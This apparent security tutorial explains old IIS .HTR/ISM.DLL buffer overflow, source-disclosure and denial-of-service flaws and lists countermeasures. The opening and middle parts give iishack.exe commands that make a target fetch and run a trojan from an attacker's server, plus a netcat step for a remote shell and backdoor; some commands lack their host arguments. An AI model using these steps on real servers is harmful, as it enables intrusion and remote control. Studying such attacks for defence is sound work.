iishack.exe overflows a buffer used by IIS http daemon, allowing for arbitrary code to be executed.
c:\ iishack www.yourtarget.com 80 www.yourserver.com/thetrojan.exe
www.yourtarget.com is the IIS server you're hacking, 80 is the port its listening on, www.yourserver.com is some webserver with your trojan or custom script (your own, or another), and /thetrojan.exe is the path to that script.
"IIS
Hack" is a buffer overflow vulnerability exposed by the way IIS handles
requests with .HTR extensions. A hacker sends a long URL that ends with
".HTR". IIS interprets it as a file type of HTR and invokes the ISM.DLL
to handle the request. Since ISM.DLL is vulnerable to a buffer
overflow, a carefully crafted string can be executed in the security
context of IIS, which is privileged. For example, it is relatively
simple to include in the exploit code a sequence of commands that will
open a TCP/IP connection, download an executable and then execute it.
This way, any malicious code can be executed.
A sample exploit can be constructed as shown below:
To hack the target site and attacker's system running a web server can use iishack.exe and ncx.exe.
To begin with, the ncx.exe is configured to run from the root directory. IIShack.exe is then run against the victim site.
c:\>iishack.exe 80 /ncx.exe
The attacker can then use netcat to evoke the command shell
c:\>nc 80
He can proceed to upload and execute any code of his choice and maintain a backdoor on the target site.
- Install latest service pack from Microsoft.
- Remove IPP printing from IIS Server
- Install firewall and remove unused extensions
- Implement aggressive network egress filtering
- Use IISLockdown and URLScan utilities
- Regularly scan your network for vulnerable servers
Without any further explanation, the first countermeasure is obviously to install the latest service packs and hotfixes.
As
with many IIS vulnerabilities, the IPP exploit takes advantage of a bug
in an ISAPI DLL that ships with IIS 5 and is configured by default to
handle requests for certain file types. This particular ISAPI filter
resides in C: \WINNT\System32\msw3prt.dll and provides Windows 2000 with
support for the IPP. If this functionality is not required on the Web
server, the application mapping for this DLL to .printer files can be
removed (and optionally deleting the DLL itself) in order to prevent the
buffer overflow from being exploited. This is possible because the DLL
will not be loaded into the IIS process when it starts up. In fact, most
security issues are centered on the ISAPI DLL mappings, making this one
of the most important countermeasure to be adopted when securing IIS.
Another
standard countermeasure that can be adopted here is to use a firewall
and remove any extensions that are not required. Implementing aggressive
network egress can help to a certain degree.
With
IIS, using IISLockdown and URLScan - (free utilities from Microsoft)
can ensure more protection and minimize damage in case the web server is
affected.
Microsoft has also released a patch
for the buffer overflow, but removing the ISAPI DLL is a more proactive
solution in case there are additional vulnerabilities that are yet to be
found with the code.
- Microsoft IIS 4.0 and 5.0 can be made to disclose fragments of source code which should otherwise be in accessible.
- This is done by appending "+.htr" to a request for a known .asp (or .asa, .ini, etc) file.
- appending this string causes the request to be handled by ISM.DLL, which then strips the '+.htr' string and may disclose part or all of the source of the .asp file specified in the request.
IIS supports several file types that
require server-side processing. When a web site visitor requests a file
of one of these types, an appropriate filter DLL processes it.
Vulnerability exists in ISM.DLL, the filter DLL that processes .HTR
files. HTR files enable remote administration of user passwords.
HTR
files are scripts that allow Windows NT password services to be
provided via IIS web servers. Windows NT users can use .HTR scripts to
change their own passwords, and administrators can use them to perform a
wide array of password administration functions. HTR is a
first-generation advanced scripting technology that is included in IIS
3.0, and still supported by later versions of IIS for backwards
compatibility. However, HTR was never widely adopted, and was superceded
by Active Server Pages (ASP) technology introduced in IIS 4.0.
| Attack Methods |
Exploit / Attack Methodology
By
making a specially formed request to IIS, with the name of the file and
then appending around 230 + " %20 " (these represents spaces) and then
appending " .htr " this tricks IIS into thinking that the client is
requesting a " .htr " file . The .htr file extension is mapped to the
ISM.DLL ISAPI Application and IIS redirects all requests for .htr
resources to this DLL.
|
ISM.DLL is then passed the name of the
file to open and execute but before doing this ISM.DLL truncates the
buffer sent to it chopping off the .htr and a few spaces and ends up
opening the file whose source is sought. The contents are then returned.
This attack can only be launched once though, unless the web service
started and stopped. It will only work when ISM.DLL first loaded into
memory.
"Undelimited .HTR Request" vulnerability: The
first vulnerability is a denial of service vulnerability. All .HTR
files accept certain parameters that are expected to be delimited in a
particular way. This vulnerability exists because the search routine for
the delimiter isn't properly bounded. Thus, if a malicious user
provided a request without the expected delimiter, the ISAPI filter that
processes it would search forever for the delimiter and never find it.
If
a malicious user submitted a password change request that lacked an
expected delimiter, ISM.DLL, the ISAPI extension that processes .HTR
files, would search endlessly for it. This would prevent the server from
servicing any more password change requests. In addition, the search
would consume CPU time, so the overall response of the server might be
slowed.
The second threat would be more difficult
to exploit. A carefully-constructed file request could cause arbitrary
code to execute on the server via a classic buffer overrun technique.
Neither scenario could occur accidentally. This vulnerability does not
involve the functionality of the password administration features of
.HTR files.
".HTR File Fragment Reading" vulnerability: The
".HTR File Fragment Reading" vulnerability could allow fragments of
certain types of files to be read by providing a malformed request that
would cause the. HTR processing to be applied to them. This
vulnerability could allow a malicious user to read certain types of
files under some very restrictive circumstances by levying a bogus .HTR
request. The ISAPI filter will attempt to interpret the requested file
as an .HTR file, and this would have the effect of removing virtually
everything but text from a selected file. That is, it would have the
effect of stripping out the very information that is most likely to
contain sensitive information in .asp and other server-side files.
The
.htr vulnerability will allow data to be added, deleted or changed on
the server, or allow any administrative control on the server to be
usurped. Although .HTR files are used to allow web-based password
administration, this vulnerability does not involve any weakness in
password handling.
"Absent Directory Browser Argument" vulnerability: Among
the default HTR scripts provided in IIS 3.0 (and preserved on upgrade
to IIS 4.0 and IIS 5.0) were several that allowed web site
administrators to view directories on the server. One of these scripts,
if called without an expected argument, will enter an infinite loop that
can consume all of the system's CPU availability, thereby preventing
the server from responding to requests for service.
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